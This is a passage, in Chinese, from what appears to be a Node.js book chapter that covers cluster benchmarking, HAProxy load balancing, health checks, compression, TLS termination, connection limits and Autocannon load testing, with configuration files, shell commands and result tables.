这将运行 Autocannon 基准测试工具(在 “Autocannon 简介” 中有更详细的介绍)来对应用程序进行测试。它将通过两个连接尽可能快地运行 10 秒钟。操作完成后,您将收到一张统计数据表。现在,您只需考虑两个值,而我收到的值已在 表 3-1 中重新创建。
表 3-1. 多核 Fibonacci 集群
| 统计 | 结果 |
|---|---|
| 平均延迟 | 147.05ms |
| 平均请求数 | 13.46 r/s |
接下来,结束 master-fibonacci.js 集群主进程,然后直接运行 cluster-fibonacci.js 文件。然后,运行与之前完全相同的 autocannon 命令。再次,您将获得一些更多的结果,我的结果看起来像 表 3-2。
表 3-2. 单进程 Fibonacci
| 统计 | 结果 |
|---|---|
| 平均延迟 | 239.61ms |
| 平均请求数 | 8.2 r/s |
在我的多 CPU 核心机器上,通过运行两个 CPU 密集型 Fibonacci 服务实例,我能够将吞吐量提高约 40%。您应该会看到类似的结果。
接下来,假设您可以访问一台只有单个 CPU 实例的 Linux 机器。通过使用 taskset 命令强制进程使用特定的 CPU 核心来模拟这种环境。这个命令在 macOS 上不存在,但您可以通过阅读来理解其要义。
再次运行 master-fibonacci.js 集群主文件。注意,服务输出包括主进程的 PID 值以及两个工作进程的 PID 值。记下这些 PID 值,在另一个终端中运行以下命令:
# Linux-only command:
$ taskset -cp 0 <pid> # run for master, worker 1, worker 2
最后,运行本节中一直使用的相同 autocannon 命令。操作完成后,将提供更多信息给您。在我的情况下,我得到的结果看起来像 表 3-3。
表 3-3. 单核 Fibonacci 集群
| 统计 | 结果 |
|---|---|
| 平均延迟 | 252.09ms |
| 平均请求数 | 7.8 r/s |
在这种情况下,我可以看到使用 cluster 模块,尽管有比 CPU 核心更多的工作线程,结果是应用程序运行比在机器上仅运行单个进程时更慢。
cluster 最大的缺点是它只将传入请求分发给在同一台机器上运行的进程。下一节将介绍一个在应用程序代码运行在多台机器上时能够工作的工具。
使用 HAProxy 的反向代理
反向代理是一种工具,它接受来自客户端的请求,转发到服务器,接收服务器的响应,并将其发送回客户端。乍一看,它可能看起来只是增加了不必要的网络跳跃并增加了网络延迟,但正如你将看到的那样,它实际上为服务堆栈提供了许多有用的功能。反向代理通常在第四层(如 TCP)或第七层(通过 HTTP)操作。
它提供的一个功能是负载均衡。反向代理可以接受传入请求,并将其转发到多个服务器之一,然后将响应回复给客户端。同样,这可能看起来是无端增加的跳跃,因为客户端可以维护一组上游服务器并直接与特定服务器通信。但是,请考虑组织可能运行多个不同 API 服务器的情况。组织不希望将选择使用哪个 API 实例的责任放在第三方消费者身上,比如通过将api1.example.org公开为api9.example.org来暴露。相反,消费者应该能够使用api.example.org,并且他们的请求应自动路由到适当的服务。这个概念的图示在图 3-2 中显示。

图 3-2. 反向代理拦截传入的网络流量
反向代理在选择将传入请求路由到哪个后端服务时可以采取几种不同的方法。就像使用cluster模块一样,轮询通常是默认行为。请求也可以根据当前正在服务的请求最少的后端服务进行分发。它们可以随机分发,或者甚至可以根据初始请求的内容进行分发,比如存储在 HTTP URL 或 Cookie 中的会话 ID(也称为粘性会话)。也许更重要的是,反向代理可以轮询后端服务,以查看哪些服务是健康的,并拒绝向不健康的服务分发请求。
其他有益的功能包括清理或拒绝格式错误的 HTTP 请求(可以防止 Node.js HTTP 解析器中的错误被利用)、记录请求(以便应用代码不必这样做)、添加请求超时,并执行 gzip 压缩和 TLS 加密。对于除了最注重性能的应用之外,反向代理的好处通常远远超过损失。因此,几乎总是应该在你的 Node.js 应用程序和互联网之间使用某种形式的反向代理。
HAProxy 简介
HAProxy 是一个非常高性能的开源反向代理,支持 Layer 4 和 Layer 7 协议。它使用 C 语言编写,旨在稳定运行并尽量减少资源消耗,尽可能将大部分处理任务交给内核。与 JavaScript 类似,HAProxy 是事件驱动且单线程的。
HAProxy 的设置非常简单。它可以通过一个约为十几兆字节的单个可执行二进制文件部署。配置可以完全使用一个文本文件完成。
在开始运行 HAProxy 之前,您首先需要安装它。有关如何进行安装的建议,请参阅附录 A。否则,可以使用您喜欢的软件安装方法在开发机器上安装至少 v2 版本的 HAProxy。
HAProxy 提供一个可选的 web 仪表板,用于显示运行中 HAProxy 实例的统计信息。创建一个 HAProxy 配置文件,该文件目前不执行任何实际的反向代理,只是暴露仪表板。在您的项目文件夹中创建名为haproxy/stats.cfg的文件,并添加如下内容,如示例 3-3 所示。
示例 3-3. haproxy/stats.cfg
frontend inbound 
mode http 
bind localhost:8000
stats enable 
stats uri /admin?stats
创建名为inbound的frontend。
在端口:8000上监听 HTTP 流量。
启用统计界面。
创建好该文件后,您现在可以准备执行 HAProxy 了。在终端窗口中运行以下命令:
$ haproxy -f haproxy/stats.cfg
由于配置文件过于简单,控制台会输出一些警告信息。这些警告很快会被修复,但 HAProxy 将正常运行。接下来,在网页浏览器中打开以下 URL:
http://localhost:8000/admin?stats
此时,您可以查看有关 HAProxy 实例的一些统计信息。当然,目前还没有什么有趣的内容。当前仅显示单个前端的统计信息。此时可以刷新页面,传输的字节数会增加,因为仪表板还会测量对自身的请求。
HAProxy 的工作原理是创建前端和后端。前端是它监听的传入请求的端口,后端是通过主机和端口标识的上游后端服务,它将请求转发到这些服务。接下来的部分实际上创建了一个后端来路由传入的请求。
负载均衡和健康检查
本节启用了 HAProxy 的负载均衡功能,并消除了示例 3-3 配置中的那些警告。前面您已经了解了组织使用反向代理拦截传入流量的原因。在本节中,您将配置 HAProxy 来执行此操作;它将作为负载均衡器在外部流量和web-api服务之间进行平衡,暴露单个主机/端口组合,但最终提供两个服务实例的流量。图 3-3 提供了这一过程的可视化表示。
从技术上讲,不需要对应用程序进行任何更改即可实现与 HAProxy 的负载均衡。但是,为了更好地展示 HAProxy 的功能,将添加一个称为 health check 的特性。现在只需要一个简单的端点,返回 200 状态码即可。为此,请复制 web-api/consumer-http-basic.js 文件,并添加一个新的端点,如 示例 3-4 所示。“健康检查” 将会展示一个更精确的健康检查端点。

图 3-3. 使用 HAProxy 进行负载均衡
示例 3-4. web-api/consumer-http-healthendpoint.js (已截断)
server.get('/health', async () => {
console.log('health check');
return 'OK';
});
您还需要为 HAProxy 创建一个新的配置文件。创建一个名为 haproxy/load-balance.cfg 的文件,并将内容从 示例 3-5 添加到其中。
示例 3-5. haproxy/load-balance.cfg
defaults 
mode http
timeout connect 5000ms 
timeout client 50000ms
timeout server 50000ms
frontend inbound
bind localhost:3000
default_backend web-api 
stats enable
stats uri /admin?stats
backend web-api 
option httpchk GET /health 
server web-api-1 localhost:3001 check 
server web-api-2 localhost:3002 check
defaults 部分配置了多个前端。
添加了超时数值,消除了 HAProxy 的警告。
一个前端可以路由到多个后端。在这种情况下,只有 web-api 后端应该被路由到。
第一个后端 web-api 已配置完成。
此后端的健康检查将发出 GET /health 的 HTTP 请求。
web-api 将请求路由到两个后端,check 参数启用了健康检查。
此配置文件指示 HAProxy 查找当前机器上运行的两个 web-api 实例。为避免端口冲突,应用程序实例已被指示监听端口 :3001 和 :3002。inbound 前端配置为监听端口 :3000,基本上允许 HAProxy 成为常规运行的 web-api 实例的替换。
就像在 “集群模块” 中使用 cluster 模块一样,请求在两个独立的 Node.js 进程之间进行循环轮询^(3)。但是现在只有一个少于运行中的 Node.js 进程需要维护。如 host:port 组合所示,这些进程不需要在本地主机上运行,以便 HAProxy 转发请求。
现在你已经创建了配置文件并有了一个新的端点,是时候运行一些进程了。例如,你需要打开五个不同的终端窗口。在四个不同的终端窗口中分别运行以下四个命令,并在第五个窗口中多次运行第五个命令:
$ node recipe-api/producer-http-basic.js
$ PORT=3001 node web-api/consumer-http-healthendpoint.js
$ PORT=3002 node web-api/consumer-http-healthendpoint.js
$ haproxy -f ./haproxy/load-balance.cfg
$ curl http://localhost:3000/ # run several times
注意,在 curl 命令的输出中,consumer_pid 在两个值之间循环,因为 HAProxy 在两个 web-api 实例之间进行循环轮询请求。同时请注意,由于只运行了单个 recipe-api 实例,producer_pid 值保持不变。
这个命令顺序首先运行依赖程序。在这种情况下,首先运行 recipe-api 实例,然后是两个 web-api 实例,最后是 HAProxy。一旦 HAProxy 实例运行起来,你应该注意到 web-api 终端中有一个有趣的现象:每两秒钟会打印一次 health check 消息。这是因为 HAProxy 开始执行健康检查了。
再次打开 HAProxy 统计页面^(4),访问 http://localhost:3000/admin?stats。现在你应该在输出中看到两个部分:一个是 inbound 前端,另一个是新的 web-api 后端。在 web-api 部分,你应该看到列出的两个不同的服务器实例。它们两个都应该有绿色背景,表示它们的健康检查通过。我得到的结果截断版如 Table 3-4 所示。
表 3-4. 截断的 HAProxy 统计信息
| 总会话数 | 发送字节数 | LastChk | |
|---|---|---|---|
| web-api-1 | 6 | 2,262 | L7OK/200 in 1ms |
| web-api-2 | 5 | 1,885 | L7OK/200 in 0ms |
| Backend | 11 | 4,147 |
最后一行 Backend 表示了它上面列出的各列的总计。在这个输出中,你可以看到请求基本均匀地分布在两个实例之间。你还可以通过检查 LastChk 列来确认健康检查是否通过。在这种情况下,两个服务器都通过 L7 健康检查(HTTP),在 1 毫秒内返回 200 状态。
现在是时候对这个设置稍微玩一下了。首先,切换到运行 web-api 副本的其中一个终端。按 Ctrl + C 停止进程。然后,切换回统计网页并刷新几次。根据你的速度,你应该能看到 web-api 部分的一行从绿色变为黄色再到红色。这是因为 HAProxy 已经确定该服务宕机,因为它不再响应健康检查。
现在 HAProxy 已经确定服务已经宕机,切换回第五个终端屏幕并运行几次 curl 命令。注意到你会持续收到响应,尽管来自同一个 web-api PID。由于 HAProxy 知道其中一个服务已经宕机,它只会把请求路由到健康的实例上。
切换回你杀掉 web-api 实例的终端,重新启动它,然后切换回统计页面。刷新几次,注意状态从红色变为黄色再到绿色的变化。切换回 curl 终端,再运行几次命令,注意 HAProxy 现在又开始在两个实例之间分发命令了。
乍一看,这个设置似乎运行得相当顺利。你杀死了一个服务,它停止接收流量。然后,你把它恢复了,流量也恢复了。但你能猜到问题是什么吗?
早些时候,在运行的web-api实例的控制台输出中,可以看到健康检查每两秒触发一次。这意味着服务器可以下线一段时间,但 HAProxy 尚不知情。这意味着仍然存在请求可能失败的时间段。为了说明这一点,首先重新启动已停止的web-api实例,然后从输出中选择一个consumer_pid值,并在以下命令中替换CONSUMER_PID:
$ kill <CONSUMER_PID> \
&& curl http://localhost:3000/ \
&& curl http://localhost:3000/
此命令的作用是终止一个web-api进程,然后进行两个 HTTP 请求,操作非常迅速,以至于 HAProxy 不应有足够时间知道出现了问题。在输出中,您应该看到一个命令失败,另一个成功。
健康检查可以配置比目前显示的更多内容。在server行末尾的check标志之后可以指定额外的flag value对。例如,这样的配置可能如下所示:server ... check inter 10s fall 4。表 3-5 描述了这些标志及其配置方式。
表 3-5。HAProxy 健康检查标志
| Flag | Type | Default | 描述 |
|---|---|---|---|
inter |
interval | 2s | 检查之间的间隔 |
fastinter |
interval | inter |
状态转换间隔 |
downinter |
interval | inter |
下线时检查之间的间隔 |
fall |
int | 3 | 连续健康检查之前 UP |
rise |
int | 2 | 连续不健康检查之前 DOWN |
尽管健康检查可以配置为非常激进地运行,但仍然没有完美的解决方案来检测服务何时下线;采用这种方法总是存在请求可能发送到不健康的服务的风险。“幂等性和消息可靠性”探讨了解决此问题的解决方案,客户端被配置为重试失败的请求。
压缩
可以通过在包含应由 HAProxy 压缩的内容的特定后端上设置附加配置标志来轻松配置 HAProxy 压缩。查看示例 3-6 演示如何执行此操作。
示例 3-6。haproxy/compression.cfg
defaults
mode http
timeout connect 5000ms
timeout client 50000ms
timeout server 50000ms
frontend inbound
bind localhost:3000
default_backend web-api
backend web-api
compression offload 
compression algo gzip 
compression type application/json text/plain 
server web-api-1 localhost:3001
防止 HAProxy 将Accept-Encoding头转发到后端服务。
这使 gzip 压缩生效;还有其他算法可用。
根据Content-Type标头启用压缩。
此示例明确指出,只应在具有application/json头值的响应上启用压缩,这是两个服务一直在使用的内容,或者text/plain,如果端点尚未正确配置,有时会被偷偷传递。
就像在 示例 2-4 中完全在 Node.js 中执行 gzip 压缩一样,HAProxy 也会在知道客户端支持时才执行压缩,通过检查 Accept-Encoding 头来确认 HAProxy 是否正在压缩响应,在单独的终端窗口中运行以下命令(在这种情况下,您只需要运行一个 web-api):
$ node recipe-api/producer-http-basic.js
$ PORT=3001 node web-api/consumer-http-basic.js
$ haproxy -f haproxy/compression.cfg
$ curl http://localhost:3000/
$ curl -H 'Accept-Encoding: gzip' http://localhost:3000/ | gunzip
使用 HAProxy 进行 gzip 压缩比在 Node.js 进程内部进行更高效。“HTTP 压缩” 将测试此操作的性能。
TLS 终止
在一个集中的位置进行 TLS 终止对许多原因都很方便。一个重要的原因是,应用程序不需要额外的逻辑来更新证书。也可以避免寻找哪些实例有过期证书的麻烦。组织内的一个团队可以处理所有的证书生成工作。应用程序也不必承担额外的 CPU 开销。
尽管如此,HAProxy 在这个示例中将流量定向到一个单一的服务。这个架构看起来像 图 3-4。

图 3-4. HAProxy TLS 终止
使用 HAProxy 进行 TLS 终止相对直观,并且许多在 “HTTPS / TLS” 中涵盖的规则仍然适用。例如,所有的证书生成和信任链概念仍然适用,并且这些证书文件遵循了众所周知的标准。唯一的区别是,在本节中使用了一个 .pem 文件,这是一个包含 .cert 文件和 .key 文件内容的文件。示例 3-7 是先前命令的修改版本。它生成各个文件并将它们串联在一起。
示例 3-7. 生成 .pem 文件
$ openssl req -nodes -new -x509 \
-keyout haproxy/private.key \
-out haproxy/certificate.cert
$ cat haproxy/certificate.cert haproxy/private.key \
> haproxy/combined.pem
现在需要另一个 HAProxy 配置脚本。示例 3-8 修改了 inbound 前端以通过 HTTPS 监听,并加载 combined.pem 文件。
示例 3-8. haproxy/tls.cfg
defaults
mode http
timeout connect 5000ms
timeout client 50000ms
timeout server 50000ms
global 
tune.ssl.default-dh-param 2048
frontend inbound
bind localhost:3000 ssl crt haproxy/combined.pem 
default_backend web-api
backend web-api
server web-api-1 localhost:3001
global 部分配置全局 HAProxy 设置。
ssl 标志指定前端使用 TLS,并且 crt 标志指向 .pem 文件。
global 部分允许配置全局 HAProxy 设置。在这种情况下,它设置了客户端使用的 Diffie-Hellman 密钥大小参数,并防止 HAProxy 发出警告。
配置好 HAProxy 后,使用这个新的配置文件运行它,然后发送一些请求。在四个单独的终端窗口中运行以下命令:
$ node recipe-api/producer-http-basic.js # terminal 1
$ PORT=3001 node web-api/consumer-http-basic.js # terminal 2
$ haproxy -f haproxy/tls.cfg # terminal 3
$ curl --insecure https://localhost:3000/ # terminal 4
由于 HAProxy 使用自签名证书,curl 命令再次需要 --insecure 标志。举个真实的例子,由于 HTTPS 流量是公开的,你会想要使用真实的证书颁发机构如 Let’s Encrypt 为你生成证书。Let’s Encrypt 附带一个名为 certbot 的工具,可以配置为在证书过期前自动更新证书,并动态重新配置 HAProxy 来使用更新后的证书。配置 certbot 超出了本书的范围,但已有文献介绍如何操作。
关于 HAProxy 还有许多其他可以配置的选项,包括指定使用哪些加密套件、TLS 会话缓存大小和 SNI(服务器名称指示)。单个前端可以指定一个端口同时处理标准 HTTP 和 HTTPS。HAProxy 可以将发出 HTTP 请求的用户代理重定向到相应的 HTTPS 路径。
使用 HAProxy 进行 TLS 终止可能比在 Node.js 进程内部执行更高效。“TLS 终止” 将测试这个说法。
速率限制和反向压力
“SLA 和负载测试” 着眼于确定一个 Node.js 服务能够处理多大负载。本节介绍了如何强制执行这样的限制。
默认情况下,一个 Node.js 进程会处理它接收到的尽可能多的请求。例如,当创建一个基本的 HTTP 服务器并在接收到请求时使用回调函数时,这些回调函数将通过事件循环不断被调度和调用。然而,有时这可能会导致进程不堪重负。如果回调函数执行了大量阻塞工作,过多的回调被调度可能会导致进程锁死。更大的问题是内存消耗;每个排队的回调都会带有一个包含变量和对传入请求的引用的新函数上下文。有时,减少 Node.js 进程在给定时间内处理的并发连接数量是最佳解决方案。
一种方法是设置http.Server实例的maxConnections属性。通过设置这个值,Node.js 进程将自动丢弃任何会导致连接数超过此限制的传入连接。
npm 上的每个流行的 Node.js HTTP 框架都将暴露它所使用的 http.Server 实例,或提供一种覆盖该值的方法。然而,在这个例子中,使用内置的 http 模块构建了一个基本的 HTTP 服务器。
创建一个新文件,并将示例 3-9 的内容添加到其中。
示例 3-9. low-connections.js
#!/usr/bin/env node
const http = require('http');
const server = http.createServer((req, res) => {
console.log('current conn', server._connections);
setTimeout(() => res.end('OK'), 10_000); 
});
server.maxConnections = 2; 
server.listen(3020, 'localhost');
这个 setTimeout() 模拟了慢速的异步活动,如数据库操作。
最大传入连接数设置为 2。
此服务器模拟一个缓慢的应用程序。每个传入请求需要 10 秒才能完成响应。这不会模拟具有高 CPU 使用率的过程,但确实模拟了可能会使 Node.js 不堪重负的慢请求。
接下来,打开四个终端窗口。在第一个窗口中,运行low-connections.js服务。在其余三个窗口中,使用curl命令进行相同的 HTTP 请求。您需要在 10 秒内运行curl命令,因此您可能希望首先粘贴命令三次,然后再执行它们:
$ node low-connections.js # terminal 1
$ curl http://localhost:3020/ # terminals 2-4
假设您足够快地运行了命令,前两个curl调用应该会运行,尽管速度较慢,在最终将消息OK写入终端窗口之前会暂停 10 秒。然而,第三次运行时,命令应该已写入错误并立即关闭。在我的机器上,curl命令打印curl: (56) 连接被对等方重置。同样地,服务器终端窗口不应该显示关于当前连接数量的消息。
server.maxConnections值设置了此特定服务器实例请求的硬限制,Node.js 将丢弃超过该限制的任何连接。
这听起来可能有点严格!作为消费服务的客户端,更理想的情况可能是让服务器排队请求。幸运的是,HAProxy 可以配置为代表应用程序执行此操作。使用来自示例 3-10 的内容创建一个新的 HAProxy 配置文件。
示例 3-10. haproxy/backpressure.cfg
defaults
maxconn 8 
mode http
frontend inbound
bind localhost:3010
default_backend web-api
backend web-api
option httpclose 
server web-api-1 localhost:3020 maxconn 2 
可以在全局范围内配置最大连接数。这包括传入前端和传出后端的连接。
强制 HAProxy 关闭到后端的 HTTP 连接。
每个后端服务实例可以指定最大连接数。
此示例设置了全局标志maxconn 8。这意味着在所有前端和后端组合中,包括对管理接口的任何调用,在同一时间只能运行八个连接。通常情况下,您可能希望将其设置为保守值,如果您真的需要的话。然而,更有趣的是附加到特定后端实例的maxconn 2标志。这将是此配置文件的真正限制因素。
此外,请注意option httpclose已设置在后端。这是为了让 HAProxy 立即关闭与服务的连接。保持这些连接打开不一定会减慢服务速度,但由于应用程序中server.maxConnections值仍设置为 2,因此这是必需的;如果连接保持打开,服务器将拒绝新连接,即使回调已完成先前请求的触发。
现在,使用新的配置文件,继续运行相同的 Node.js 服务,一个使用该配置的 HAProxy 实例,并且再次并行运行多个curl请求:
$ node low-connections.js # terminal 1
$ haproxy -f haproxy/backpressure.cfg # terminal 2
$ curl http://localhost:3010/ # terminals 3-5
再次,您应该看到前两个curl命令成功在服务器上触发了日志消息。然而,这次第三个curl命令不会立即关闭。相反,它会等到前面的命令之一完成并关闭连接。一旦这种情况发生,HAProxy 将意识到可以发送一个额外的请求,第三个请求也将通过,导致服务器记录另一条关于同时进行两个请求的消息:
current conn 1
current conn 2
current conn 2
反压力是指消费服务的请求排队等待,就像现在发生的情况一样。如果消费者按顺序发送请求,生产者一侧的反压力将导致消费者减速。
通常情况下,在反向代理中强制限制而不必在应用程序本身中进行限制是可以接受的。然而,根据您的架构实现方式不同,可能会有其他来源的请求能够发送到您的服务。在这些情况下,也许将server.maxConnections设置为 90,并将maxconn设置为 80,根据您的感觉调整边界,知道您的服务将在 100 个并发请求时陷入停顿。
现在您已经知道如何配置最大连接数,是时候看看确定服务实际可以处理多少连接的方法了。
SLA 和负载测试
软件即服务 (SaaS) 公司为其用户提供在线服务。现代用户的期望是这些服务可以全天候提供。想象一下,如果 Facebook 每周五下午 2 点到 3 点不能访问,那会有多奇怪。企业对企业 (B2B) 公司通常有更严格的要求,通常与合同义务配套。当一个组织销售 API 访问权限时,通常有合同条款规定,组织不会在没有充分通知的情况下进行颠覆性更改,服务将全天候提供,并且请求将在指定的时间内提供服务。
这些合同要求通常被称为服务级别协议 (SLA)。有时公司会在网上公布它们,比如亚马逊计算服务级别协议页面。有时它们会根据每个客户的需求进行协商。遗憾的是,通常它们根本不存在,性能并不是优先考虑的事项,工程师们直到客户投诉时才会处理这些问题。
一个 SLA 可能包含多个服务级别目标(SLO)。这些是组织向客户承诺的个别条款。它们可以包括像是正常运行时间要求、API 请求延迟和故障率等内容。当涉及到测量服务实际达到的值时,这些被称为服务级别指标(SLI)。我喜欢把 SLO 想象成分子,SLI 想象成分母。一个 SLO 可能是 API 应在 100 毫秒内响应,而一个 SLI 可能是该 API 实际上在 83 毫秒内响应。
本节将讨论确定 SLO(服务级别目标)的重要性,不仅适用于组织,也适用于个别服务。它探讨了定义 SLO 和通过运行一次性负载测试(有时称为基准测试)来衡量服务性能的方法。稍后,《“使用 Graphite、StatsD 和 Grafana 进行度量”》将介绍如何持续监控性能。
在定义 SLA(服务级别协议)的外观之前,您将首先查看一些性能特征及其测量方法。为此,您将对之前构建的一些服务进行负载测试。这将使您熟悉负载测试工具,并了解在没有业务逻辑的情况下可以预期的吞吐量。一旦您熟悉了这些,测量自己的应用程序就会更容易。
Autocannon 简介
这些负载测试使用Autocannon。有很多替代品,但这个工具既容易安装(只需一个 npm 命令行),又显示详细的统计数据。
警告
请随意使用您最熟悉的负载测试工具。但是,请不要将一个工具的结果与另一个工具的结果进行比较,因为同一服务的结果可能会有很大的差异。尽量在整个组织中统一使用相同的工具,以便团队可以一致地交流有关性能的信息。
Autocannon 可作为 npm 包使用,并提供请求统计的直方图,这在性能测量中非常重要。通过运行以下命令安装它(如果出现权限错误,可能需要在命令前加上sudo):
$ npm install -g autocannon@6
运行基准负载测试
这些负载测试将主要运行您已经在examples/文件夹中创建的应用程序。但首先,您将熟悉 Autocannon 命令,并通过对一些非常简单的服务进行负载测试来建立一个基准。第一个将是一个简单的 Node.js HTTP 服务器,下一个将使用一个框架。在这两种情况下,简单的字符串将用作回复。
警告
请务必禁用任何在请求处理程序内部运行的console.log()语句。虽然这些语句在实际工作中的生产应用中提供了微不足道的延迟,但它们会显著减慢本节中的许多负载测试。
对于这个第一个示例,创建一个名为benchmark/的新目录,并在其中创建一个文件,内容是从示例 3-11 复制而来。这个基础的 HTTP 服务器将作为最基本的负载测试。
示例 3-11. benchmark/native-http.js
#!/usr/bin/env node
const HOST = process.env.HOST || '127.0.0.1';
const PORT = process.env.PORT || 4000;
require("http").createServer((req, res) => {
res.end('ok');
}).listen(PORT, () => {
console.log(`Producer running at http://${HOST}:${PORT}`);
});
理想情况下,所有这些测试应该在一个未使用的服务器上运行,具有与生产服务器相同的能力,但出于学习目的,在本地开发笔记本电脑上运行也可以。请记住,您在本地获得的数字将不反映在生产环境中获得的数字!
运行服务,在另一个终端窗口中运行 Autocannon 来开始负载测试:
$ node benchmark/native-http.js
$ autocannon -d 60 -c 10 -l http://localhost:4000/
此命令使用三个不同的标志。-d 标志代表持续时间,在这种情况下配置为运行 60 秒。-c 标志表示并发连接数,这里配置为使用 10 个连接。-l 标志告诉 Autocannon 显示详细的延迟直方图。要测试的 URL 是命令的最后一个参数。在这种情况下,Autocannon 只是发送GET请求,但可以配置为发送POST请求并提供请求体。
表格 3-6 到 3-8 包含我的结果。
表 3-6. Autocannon 请求延迟
| Stat | 2.5% | 50% | 97.5% | 99% | Avg | Stdev | Max |
|---|---|---|---|---|---|---|---|
| Latency | 0ms | 0ms | 0ms | 0ms | 0.01ms | 0.08ms | 9.45ms |
第一张表包含有关延迟的信息,即发送请求后接收响应所需的时间。正如您所见,Autocannon 将延迟分组为四个桶。2.5% 桶代表相当快速的请求,50% 是中位数,97.5% 是较慢的结果,99% 是一些最慢的请求,Max 列表示最慢的请求。在这张表中,较低的结果表示更快。到目前为止,所有的数字都很小,还不能做出决定。
表 3-7. Autocannon 请求量
| Stat | 1% | 2.5% | 50% | 97.5% | Avg | Stdev | Min |
|---|---|---|---|---|---|---|---|
| Req/Sec | 29,487 | 36,703 | 39,039 | 42,751 | 38,884.14 | 1,748.17 | 29,477 |
| Bytes/Sec | 3.66 MB | 4.55 MB | 4.84 MB | 5.3 MB | 4.82 MB | 217 kB | 3.66 MB |
第二张表提供了一些不同的信息,即发送到服务器的每秒请求量。在这张表中,数字越高越好。此表中的标题与前一张表中的相对应;例如,1% 列与前一张表中的99% 列对应。
这张表中的数字更加有趣。它们描述的是服务器平均能处理每秒 38,884 个请求。但平均数并不太有用,工程师不应依赖它。
要考虑的是,通常情况下,用户的一个请求可能会导致向给定服务发送多个请求。例如,如果用户打开一个网页,列出他们根据自己的前 10 个食谱应该储备的食材,那么这一个请求可能会生成 10 个发送到食谱服务的请求。整体用户请求的缓慢由后端服务请求的缓慢叠加而成。因此,在报告服务速度时,选择更高的百分位数,如 95%或 99%,是很重要的。这被称为顶级百分位数,在传达吞吐量时缩写为TP95或TP99。
对于这些结果,可以说 TP99 的延迟为 0 毫秒,或者吞吐量为每秒 29,487 个请求。
第三个表格是使用-l标志提供的结果,包含更详细的延迟信息。
表 3-8. Autocannon 详细延迟结果
| 百分位数 | 延迟 | 百分位数 | 延迟 | 百分位数 | 延迟 |
|---|---|---|---|---|---|
| 0.001% | 0 毫秒 | 10% | 0 毫秒 | 97.5% | 0 毫秒 |
| 0.01% | 0 毫秒 | 25% | 0 毫秒 | 99% | 0 毫秒 |
| 0.1% | 0 毫秒 | 50% | 0 毫秒 | 99.9% | 1 毫秒 |
| 1% | 0 毫秒 | 75% | 0 毫秒 | 99.99% | 2 毫秒 |
| 2.5% | 0 毫秒 | 90% | 0 毫秒 | 99.999% | 3 毫秒 |
倒数第二行解释了 99.99%的请求(四个九)将在至少 2 毫秒内得到响应。最后一行解释了 99.999%的请求将在 3 毫秒内得到响应。
这些信息可以绘制成图表,以更好地表达发生的情况,如图 3-5 所示。

图 3-5. Autocannon 延迟结果图
再次说明,使用这些低数字,结果还不是那么有趣。
根据我的结果,假设 TP99,使用这个特定版本的 Node.js 和这个特定的硬件,我可以获得的绝对最佳吞吐量大约是 25,000 个请求每秒(在一些保守的四舍五入后)。因此,试图实现比该值更高的值是愚蠢的。
结果表明,25,000 个请求每秒实际上是相当高的,您很可能永远不会出现需要从单个应用程序实例实现这样的吞吐量的情况。如果您的使用情况确实需要更高的吞吐量,您可能需要考虑其他语言,如 Rust 或 C++。
反向代理的问题
之前我声称,在反向代理中执行特定操作,特别是 gzip 压缩和 TLS 终止,通常比在运行中的 Node.js 进程中执行这些操作更快。可以使用负载测试来验证这些说法是否属实。
这些测试在同一台机器上运行客户端和服务器。要准确地对生产应用进行负载测试,您需要在生产环境中进行测试。这里的目的是测量 CPU 影响,因为 Node.js 和 HAProxy 生成的网络流量应该是等效的。
建立基准线
但首先,需要建立另一个基线,并面对一个不可避免的事实:引入反向代理必须至少稍微增加延迟。为了证明这一点,使用之前相同的 benchmark/native-http.js 文件。然而,这次在其前面放置最小配置的 HAProxy。创建一个包含来自 示例 3-12 的内容的配置文件。
示例 3-12. haproxy/benchmark-basic.cfg
defaults
mode http
frontend inbound
bind localhost:4001
default_backend native-http
backend native-http
server native-http-1 localhost:4000
在一个终端窗口中运行服务,在第二个终端窗口中运行 HAProxy,然后在第三个终端窗口中运行相同的 Autocannon 负载测试:
$ node benchmark/native-http.js
$ haproxy -f haproxy/benchmark-basic.cfg
$ autocannon -d 60 -c 10 -l http://localhost:4001
我得到的结果看起来像 图 3-6 中的结果。TP99 吞吐量为 19,967 r/s,减少了 32%,最大请求耗时 28.6ms。
与之前的结果相比,这些结果可能看起来较高,但请记住应用程序并未执行大量工作。请求的 TP99 延迟,在添加 HAProxy 前后都仍然少于 1ms。如果一个真实服务需要 100ms 响应,增加 HAProxy 会使响应时间增加不到 1%。

图 3-6. HAProxy 延迟
HTTP 压缩
接下来两个测试需要一个简单的透传配置文件。此配置将使 HAProxy 简单地将来自客户端的请求转发到服务器。配置文件有一行 mode tcp,这意味着 HAProxy 本质上是一个 L4 代理,不会检查 HTTP 请求。
使用 HAProxy 可确保基准测试将检验将处理从 Node.js 转移到 HAProxy 的效果,而不是额外网络跳跃的影响。创建一个 haproxy/passthru.cfg 文件,内容来自 示例 3-13。
示例 3-13. haproxy/passthru.cfg
defaults
mode tcp
timeout connect 5000ms
timeout client 50000ms
timeout server 50000ms
frontend inbound
bind localhost:3000
default_backend server-api
backend server-api
server server-api-1 localhost:3001
现在可以测量执行 gzip 压缩的成本。这里不会比较压缩与不压缩的情况。(如果那是目标,测试绝对需要在不同的机器上进行,因为节省的是带宽。)而是比较在 HAProxy 与 Node.js 中执行压缩的性能。
使用与 示例 2-4 中创建的相同的 server-gzip.js 文件,但您需要注释掉 console.log 调用。还将使用 示例 3-6 中创建的 haproxy/compression.cfg 文件,以及刚刚从 示例 3-13 创建的 haproxy/passthru.cfg 文件。对于这个测试,您需要停止 HAProxy,并使用不同的配置文件重新启动它:
$ rm index.html ; curl -o index.html https://thomashunter.name
$ PORT=3001 node server-gzip.js
$ haproxy -f haproxy/passthru.cfg
$ autocannon -H "Accept-Encoding: gzip" \
-d 60 -c 10 -l http://localhost:3000/ # Node.js
# Kill the previous haproxy process
$ haproxy -f haproxy/compression.cfg
$ autocannon -H "Accept-Encoding: gzip" \
-d 60 -c 10 -l http://localhost:3000/ # HAProxy
这里是我在本机上运行测试时得到的结果。图 3-7 显示了使用 Node.js 运行 gzip 的结果,图 3-8 包含了 HAProxy 的结果。

图 3-7. Node.js gzip 压缩延迟
此测试显示,使用 HAProxy 进行 gzip 压缩比使用 Node.js 更快地提供请求。

图 3-8. HAProxy gzip 压缩延迟
TLS 终止
TLS 绝对对应用程序性能有负面影响^(5)(在 HTTP 与 HTTPS 意义上)。这些测试仅比较在 HAProxy 而非 Node.js 内执行 TLS 终止对性能的影响,而不是 HTTP 与 HTTPS 的比较。由于测试运行速度非常快,吞吐量数字已在以下进行了复制,因此延迟列表图大部分包含零。
